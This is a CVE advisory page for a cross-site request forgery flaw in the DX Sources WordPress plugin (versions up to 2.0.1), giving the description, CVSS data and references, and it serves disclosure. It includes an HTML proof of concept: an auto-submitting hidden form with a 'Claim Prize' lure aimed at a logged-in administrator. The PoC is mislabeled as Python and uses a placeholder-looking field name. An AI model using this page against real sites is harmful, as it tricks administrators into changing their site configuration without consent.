CVE-2026-6700

Description

The DX Sources plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.1. This is due to missing or incorrect nonce validation on the settings_page_build function. This makes it possible for unauthenticated attackers to trick a logged-in administrator into submitting a forged request that modifies the plugin's configuration options via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress DX Sources Plugin <= 2.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-6700 -->
<!-- Host this file and send the link to a logged-in administrator -->
<html>
  <body>
    <form action="http://target-site/wp-admin/admin.php?page=dx-sources-settings" method="POST">
      <input type="hidden" name="setting_option" value="attacker_controlled_value" />
      <input type="submit" value="Click to Claim Prize" />
    </form>
    <script>
      // Auto-submit the form to minimize user interaction awareness
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6700
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6700
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6700/
[4] VulDB https://vuldb.com/cve/CVE-2026-6700
[5] https://plugins.trac.wordpress.org/browser/dx-sources/tags/2.0.1/inc/settings.class.php#L46
[6] https://plugins.trac.wordpress.org/browser/dx-sources/tags/2.0.1/inc/settings.class.php#L79
[7] https://plugins.trac.wordpress.org/browser/dx-sources/trunk/inc/settings.class.php#L46
[8] https://plugins.trac.wordpress.org/browser/dx-sources/trunk/inc/settings.class.php#L79
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/b3c96e57-0300-4ea7-a0c6-5d060b6e979d?source=cve

Raw JSON Data

JSON

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